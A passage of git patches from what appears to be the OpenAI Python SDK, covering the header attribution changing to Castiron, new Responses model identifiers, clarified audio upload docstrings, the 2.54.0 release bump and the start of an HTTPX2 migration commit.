--- a/tests/api_resources/test_videos.py
+++ b/tests/api_resources/test_videos.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/test_webhooks.py b/tests/api_resources/test_webhooks.py
index 6b404998e1..f03b9780d4 100644
--- a/tests/api_resources/test_webhooks.py
+++ b/tests/api_resources/test_webhooks.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/uploads/__init__.py b/tests/api_resources/uploads/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/uploads/__init__.py
+++ b/tests/api_resources/uploads/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/uploads/test_parts.py b/tests/api_resources/uploads/test_parts.py
index b5956d263b..5e1fe5c468 100644
--- a/tests/api_resources/uploads/test_parts.py
+++ b/tests/api_resources/uploads/test_parts.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/vector_stores/__init__.py b/tests/api_resources/vector_stores/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/vector_stores/__init__.py
+++ b/tests/api_resources/vector_stores/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/vector_stores/test_file_batches.py b/tests/api_resources/vector_stores/test_file_batches.py
index c1fba534a6..08def373f3 100644
--- a/tests/api_resources/vector_stores/test_file_batches.py
+++ b/tests/api_resources/vector_stores/test_file_batches.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/vector_stores/test_files.py b/tests/api_resources/vector_stores/test_files.py
index 53aa5ee041..94522ec5af 100644
--- a/tests/api_resources/vector_stores/test_files.py
+++ b/tests/api_resources/vector_stores/test_files.py
@@ -1,4 +1,4 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
from __future__ import annotations
diff --git a/tests/api_resources/webhooks/__init__.py b/tests/api_resources/webhooks/__init__.py
index fd8019a9a1..d7a8b19970 100644
--- a/tests/api_resources/webhooks/__init__.py
+++ b/tests/api_resources/webhooks/__init__.py
@@ -1 +1 @@
-# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
From 06527878b8759ba52f28ab53e4d95a33989700d0 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Tue, 11 Aug 2026 16:34:13 +0000
Subject: [PATCH 006/341] feat(api): Add new Responses model identifiers
(#3595)
## Summary
feat(api): Add new Responses model identifiers
Co-authored-by: jbeckwith-oai <269036200+jbeckwith-oai@users.noreply.github.com>
---
.castiron.stats.yml | 8 ++---
api_reference/openapi.transformed.yml | 6 ++++
.../resources/beta/responses/responses.py | 36 +++++++++++++++++++
src/openai/resources/responses/responses.py | 6 ++++
src/openai/types/beta/beta_response.py | 3 ++
.../types/beta/beta_responses_client_event.py | 3 ++
.../beta/beta_responses_client_event_param.py | 3 ++
.../types/beta/response_compact_params.py | 3 ++
.../types/beta/response_create_params.py | 3 ++
.../responses/response_compact_params.py | 3 ++
src/openai/types/shared/all_models.py | 3 ++
src/openai/types/shared/responses_model.py | 3 ++
.../types/shared_params/responses_model.py | 3 ++
13 files changed, 79 insertions(+), 4 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index db8aaaaf99..d885f1f699 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: 97c37265-2164-4aaa-b503-a3e7dedc7e49
-openapi_spec_hash: a9327591e48827c48378fa24237ebd1b
-openapi_transformed_spec_hash: 1c62a22d294a516e3686b9222fe77548
+generation_id: e3616fd3-9690-4581-bbd3-5c06423abf6d
+openapi_spec_hash: 8d5c14d02f8cc28de343933fae3a9c28
+openapi_transformed_spec_hash: cc042503b90491f4f162ce95fae87c36
config_hash: 4617b0962f16d328804312ac81aac630
-codegen_sha: 51bfbc88bc45e2106cb388a3d1c5c193e092f986
+codegen_sha: ea10a4f6b22f3fb9f72208589a3e8258c640479d
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 047f3ca07c..95c6792db6 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -41080,6 +41080,9 @@ components:
- gpt-5-pro
- gpt-5-pro-2025-10-06
- gpt-5.1-codex-max
+ - gpt-daybreak-blue-latest
+ - gpt-daybreak-red-latest
+ - gpt-5.6-cyber
ModelIdsShared:
example: gpt-5.4
anyOf:
@@ -70936,6 +70939,9 @@ components:
- gpt-5-pro
- gpt-5-pro-2025-10-06
- gpt-5.1-codex-max
+ - gpt-daybreak-blue-latest
+ - gpt-daybreak-red-latest
+ - gpt-5.6-cyber
BetaModelIdsShared:
example: gpt-5.4
anyOf:
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 661b1d44be..7bf83d2a4c 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -214,6 +214,9 @@ def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -601,6 +604,9 @@ def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -987,6 +993,9 @@ def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -1371,6 +1380,9 @@ def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -1846,6 +1858,9 @@ def compact(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
@@ -2127,6 +2142,9 @@ async def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -2514,6 +2532,9 @@ async def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -2900,6 +2921,9 @@ async def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -3284,6 +3308,9 @@ async def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -3759,6 +3786,9 @@ async def compact(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
@@ -5044,6 +5074,9 @@ def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
@@ -5248,6 +5281,9 @@ async def create(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index b00c634674..43c84769b0 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1814,6 +1814,9 @@ def compact(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
@@ -3663,6 +3666,9 @@ async def compact(
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index 19cd486ab0..fde3276541 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -374,6 +374,9 @@ class BetaResponse(BaseModel):
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 2bd583d15f..203a059621 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -407,6 +407,9 @@ class ResponseCreate(BaseModel):
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index d6abbc80bf..1b3bdd0603 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -407,6 +407,9 @@ class ResponseCreate(TypedDict, total=False):
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 519887d0ed..6c66b984ae 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -111,6 +111,9 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 139aa2ee25..b3dd8c362a 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -223,6 +223,9 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
]
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 069f89389c..44ae126968 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -110,6 +110,9 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
str,
None,
diff --git a/src/openai/types/shared/all_models.py b/src/openai/types/shared/all_models.py
index 72eea3e112..e7274ab9fc 100644
--- a/src/openai/types/shared/all_models.py
+++ b/src/openai/types/shared/all_models.py
@@ -25,5 +25,8 @@
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
]
diff --git a/src/openai/types/shared/responses_model.py b/src/openai/types/shared/responses_model.py
index ab6b612d26..a68cbdf881 100644
--- a/src/openai/types/shared/responses_model.py
+++ b/src/openai/types/shared/responses_model.py
@@ -25,5 +25,8 @@
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
]
diff --git a/src/openai/types/shared_params/responses_model.py b/src/openai/types/shared_params/responses_model.py
index 030413dd0d..2dfcd9c644 100644
--- a/src/openai/types/shared_params/responses_model.py
+++ b/src/openai/types/shared_params/responses_model.py
@@ -27,5 +27,8 @@
"gpt-5-pro",
"gpt-5-pro-2025-10-06",
"gpt-5.1-codex-max",
+ "gpt-daybreak-blue-latest",
+ "gpt-daybreak-red-latest",
+ "gpt-5.6-cyber",
],
]
From 28888f9cc1635dc1247c400a8054c836abc2c129 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Tue, 11 Aug 2026 17:04:44 +0000
Subject: [PATCH 007/341] fix(api): clarify audio upload metadata requirements
(#3596)
## Summary
Regenerates the Python SDK from the latest OpenAPI input for the audio
upload documentation change.
- Clarifies that transcription and translation uploads must include
enough metadata for the file format to be identified.
- Recommends an extension-bearing filename and an appropriate content
type.
- Updates generated resource docstrings, request parameter docs, the
transformed OpenAPI document, and Castiron provenance.
This is documentation-only; runtime behavior and exported type shapes
are unchanged.
## Source
- Originating API change:
[openai/openai#1270941](https://github.com/openai/openai/pull/1270941)
- OpenAPI input:
[openai/openai-openapi@577fa922](https://github.com/openai/openai-openapi/commit/577fa92299e000af1616f3be1fec740e3383a86a)
## Validation
- Rebased directly onto the current public `main`
- Every changed file matches the Castiron-generated candidate
- `git diff --check`
- `./scripts/lint`
- Thermo-nuclear code-quality review
---
.castiron.stats.yml | 8 ++--
api_reference/openapi.transformed.yml | 3 +-
src/openai/resources/audio/transcriptions.py | 42 +++++++++++--------
src/openai/resources/audio/translations.py | 8 +++-
.../audio/transcription_create_params.py | 4 +-
.../types/audio/translation_create_params.py | 4 +-
6 files changed, 42 insertions(+), 27 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index d885f1f699..530b190a4f 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: e3616fd3-9690-4581-bbd3-5c06423abf6d
-openapi_spec_hash: 8d5c14d02f8cc28de343933fae3a9c28
-openapi_transformed_spec_hash: cc042503b90491f4f162ce95fae87c36
+generation_id: e1943695-9da0-4ac1-ae5a-cc763f5d90be
+openapi_spec_hash: 1faf0319c407c6534ef7c381614afbb6
+openapi_transformed_spec_hash: 53eff50caa9d18046e4ff0615bc7512d
config_hash: 4617b0962f16d328804312ac81aac630
-codegen_sha: ea10a4f6b22f3fb9f72208589a3e8258c640479d
+codegen_sha: b97c76f867d26f99d0de01d6283fa6d511044141
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 95c6792db6..c7bd455b7c 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -34062,6 +34062,7 @@ components:
file:
description: |
The audio file object (not file name) to transcribe, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ The request must include enough format metadata for the file to be identified. We recommend an extension-bearing filename and an appropriate content type.
type: string
x-oaiTypeLabel: file
format: binary
@@ -34369,7 +34370,7 @@ components:
properties:
file:
description: |
- The audio file object (not file name) translate, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ The audio file object (not file name) translate, in one of these formats: flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include enough format metadata for the file to be identified. We recommend an extension-bearing filename and an appropriate content type.
type: string
x-oaiTypeLabel: file
format: binary
diff --git a/src/openai/resources/audio/transcriptions.py b/src/openai/resources/audio/transcriptions.py
index 0b6d491896..b7f3a9ba35 100644
--- a/src/openai/resources/audio/transcriptions.py
+++ b/src/openai/resources/audio/transcriptions.py
@@ -94,9 +94,10 @@ def create(
format, or a stream of transcript events.
Args:
- file:
- The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ file: The audio file object (not file name) to transcribe, in one of these formats:
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
model: ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`,
`gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1`
@@ -260,9 +261,10 @@ def create(
format, or a stream of transcript events.
Args:
- file:
- The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ file: The audio file object (not file name) to transcribe, in one of these formats:
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
model: ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`,
`gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1`
@@ -380,9 +382,10 @@ def create(
format, or a stream of transcript events.
Args:
- file:
- The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ file: The audio file object (not file name) to transcribe, in one of these formats:
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
model: ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`,
`gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1`
@@ -593,9 +596,10 @@ async def create(
format, or a stream of transcript events.
Args:
- file:
- The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ file: The audio file object (not file name) to transcribe, in one of these formats:
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
model: ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`,
`gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1`
@@ -754,9 +758,10 @@ async def create(
format, or a stream of transcript events.
Args:
- file:
- The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ file: The audio file object (not file name) to transcribe, in one of these formats:
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
model: ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`,
`gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1`
@@ -874,9 +879,10 @@ async def create(
format, or a stream of transcript events.
Args:
- file:
- The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ file: The audio file object (not file name) to transcribe, in one of these formats:
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
model: ID of the model to use. The options are `gpt-transcribe`, `gpt-4o-transcribe`,
`gpt-4o-mini-transcribe`, `gpt-4o-mini-transcribe-2025-12-15`, `whisper-1`
diff --git a/src/openai/resources/audio/translations.py b/src/openai/resources/audio/translations.py
index 6d5d8ccad1..8b8f16d051 100644
--- a/src/openai/resources/audio/translations.py
+++ b/src/openai/resources/audio/translations.py
@@ -120,7 +120,9 @@ def create(
Args:
file: The audio file object (not file name) translate, in one of these formats: flac,
- mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include enough
+ format metadata for the file to be identified. We recommend an extension-bearing
+ filename and an appropriate content type.
model: ID of the model to use. Only `whisper-1` (which is powered by our open source
Whisper V2 model) is currently available.
@@ -270,7 +272,9 @@ async def create(
Args:
file: The audio file object (not file name) translate, in one of these formats: flac,
- mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include enough
+ format metadata for the file to be identified. We recommend an extension-bearing
+ filename and an appropriate content type.
model: ID of the model to use. Only `whisper-1` (which is powered by our open source
Whisper V2 model) is currently available.
diff --git a/src/openai/types/audio/transcription_create_params.py b/src/openai/types/audio/transcription_create_params.py
index a6d8639c2d..5e88a1fbcd 100644
--- a/src/openai/types/audio/transcription_create_params.py
+++ b/src/openai/types/audio/transcription_create_params.py
@@ -23,7 +23,9 @@ class TranscriptionCreateParamsBase(TypedDict, total=False):
file: Required[FileTypes]
"""
The audio file object (not file name) to transcribe, in one of these formats:
- flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ flac, mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include
+ enough format metadata for the file to be identified. We recommend an
+ extension-bearing filename and an appropriate content type.
"""
model: Required[Union[str, AudioModel]]
diff --git a/src/openai/types/audio/translation_create_params.py b/src/openai/types/audio/translation_create_params.py
index ed1a4fe557..200826a144 100644
--- a/src/openai/types/audio/translation_create_params.py
+++ b/src/openai/types/audio/translation_create_params.py
@@ -15,7 +15,9 @@ class TranslationCreateParams(TypedDict, total=False):
file: Required[FileTypes]
"""
The audio file object (not file name) translate, in one of these formats: flac,
- mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm.
+ mp3, mp4, mpeg, mpga, m4a, ogg, wav, or webm. The request must include enough
+ format metadata for the file to be identified. We recommend an extension-bearing
+ filename and an appropriate content type.
"""
model: Required[Union[str, AudioModel]]
From 03b3ec474241fe3a73c4818dc6b886da28faaf91 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Tue, 11 Aug 2026 18:42:03 +0000
Subject: [PATCH 008/341] release: 2.54.0 (#3592)
Automated Release PR
---
##
[2.54.0](https://github.com/openai/openai-python/compare/v2.53.0...v2.54.0)
(2026-08-11)
### Features
* **api:** Add new Responses model identifiers
([#3595](https://github.com/openai/openai-python/issues/3595))
([0652787](https://github.com/openai/openai-python/commit/06527878b8759ba52f28ab53e4d95a33989700d0))
### Bug Fixes
* **api:** clarify audio upload metadata requirements
([#3596](https://github.com/openai/openai-python/issues/3596))
([28888f9](https://github.com/openai/openai-python/commit/28888f9cc1635dc1247c400a8054c836abc2c129))
### Chores
* **api:** Update generated-file header attribution to Castiron
([#3583](https://github.com/openai/openai-python/issues/3583))
([ea17fda](https://github.com/openai/openai-python/commit/ea17fda01d7067a6d829effa437952a09f2bb3a3))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
---------
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
Co-authored-by: Alex Chang
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 17 +++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 21 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index fffa4507c8..5c2b1511f2 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "2.53.0"
+ ".": "2.54.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index c3c2fca511..851881a834 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,22 @@
# Changelog
+## [2.54.0](https://github.com/openai/openai-python/compare/v2.53.0...v2.54.0) (2026-08-11)
+
+
+### Features
+
+* **api:** Add new Responses model identifiers ([#3595](https://github.com/openai/openai-python/issues/3595)) ([0652787](https://github.com/openai/openai-python/commit/06527878b8759ba52f28ab53e4d95a33989700d0))
+
+
+### Bug Fixes
+
+* **api:** clarify audio upload metadata requirements ([#3596](https://github.com/openai/openai-python/issues/3596)) ([28888f9](https://github.com/openai/openai-python/commit/28888f9cc1635dc1247c400a8054c836abc2c129))
+
+
+### Chores
+
+* **api:** Update generated-file header attribution to Castiron ([#3583](https://github.com/openai/openai-python/issues/3583)) ([ea17fda](https://github.com/openai/openai-python/commit/ea17fda01d7067a6d829effa437952a09f2bb3a3))
+
## [2.53.0](https://github.com/openai/openai-python/compare/v2.52.1...v2.53.0) (2026-08-03)
diff --git a/pyproject.toml b/pyproject.toml
index 39c64c39da..aa51d75238 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "2.53.0"
+version = "2.54.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 9e6904f22b..4f283c8b56 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,4 +1,4 @@
# File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details.
__title__ = "openai"
-__version__ = "2.53.0" # x-release-please-version
+__version__ = "2.54.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 75a7947d5c..903d4c4093 100644
--- a/uv.lock
+++ b/uv.lock
@@ -959,7 +959,7 @@ wheels = [
[[package]]
name = "openai"
-version = "2.53.0" # x-release-please-version
+version = "2.54.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From ae8c3d5d8be96c8253e5875e7c79b646a0c239d6 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Tue, 11 Aug 2026 21:35:14 -0400
Subject: [PATCH 009/341] feat(api)!: migrate to HTTPX2 (#3594)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Makes HTTPX2 the default HTTP client for the next major Python SDK
release. See the [HTTPX Migration
Guide](https://github.com/openai/openai-python/blob/2e4a69261f6c2b7c9038a4ff34d2a329d3680417/httpx2.md)
for complete customer-facing migration instructions.
## Customer migration
- **Default clients:** `OpenAI()` and `AsyncOpenAI()` use HTTPX2
automatically; API calls, parsed responses, streaming, retries,
authentication, and numeric timeouts retain their existing interfaces.
- **Dependencies:** `pip install openai` installs HTTPX2 instead of
HTTPX. Applications importing `httpx` through the SDK's former
transitive dependency must migrate to `httpx2` or install `httpx`
explicitly.
- **TLS trust store:** HTTPX2 uses the operating-system trust store
instead of `certifi`. This can break certificate verification even with
the default client; configure the system trust store, `SSL_CERT_FILE`,
`SSL_CERT_DIR`, or a custom `ssl.SSLContext` as needed.
- **Custom HTTP integrations:** Migrate custom clients, transports,
timeout objects, authentication handlers, hooks, request mocks, and
instrumentation to their HTTPX2 equivalents. Raw requests, responses,
and transport exceptions are now HTTPX2 objects.
- **aiohttp:** `openai[aiohttp]` and `DefaultAioHttpClient()` remain
supported through an HTTPX2-native transport without installing HTTPX or
`httpx-aiohttp`.
- **Legacy escape hatch:** Explicitly installed `httpx.Client`,
`httpx.AsyncClient`, and `httpx-aiohttp` clients remain supported when
passed through `http_client`. **This compatibility is runtime-only;
legacy clients are not supported by static type checkers such as mypy or
Pyright.** Legacy HTTPX support is provided as a migration aid and may
be discontinued.
See
[httpx2.md](https://github.com/openai/openai-python/blob/2e4a69261f6c2b7c9038a4ff34d2a329d3680417/httpx2.md)
for examples and detailed migration cases.
## Implementation notes
- Replace the SDK’s default clients and HTTP-facing types with HTTPX2.
- Test legacy HTTPX and aiohttp compatibility separately, including a
real request through the legacy aiohttp adapter.
**Vendored dependencies**
We've vendored a few dependencies in so that we can avoid installing
`httpx` by default for both normal dependencies and dev dependencies.
This was the fastest path to unblock migration; we are happy to upstream
these changes if it makes sense for those package's dependencies.
- Fork RESPX under `tests/respx2` so existing request-mocking tests work
without HTTPX.
- This is for convenience so we can mechanically rewrite tests.
- Vendor the upstream HTTPX2 aiohttp adapter, including its original
license and attribution.
- This is to avoid `aiohttp` bringing in `httpx` by default for now.
**Issues**
- https://github.com/openai/openai-python/issues/3375
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 4 +-
README.md | 90 +-
httpx2.md | 301 +++++++
pyproject.toml | 15 +-
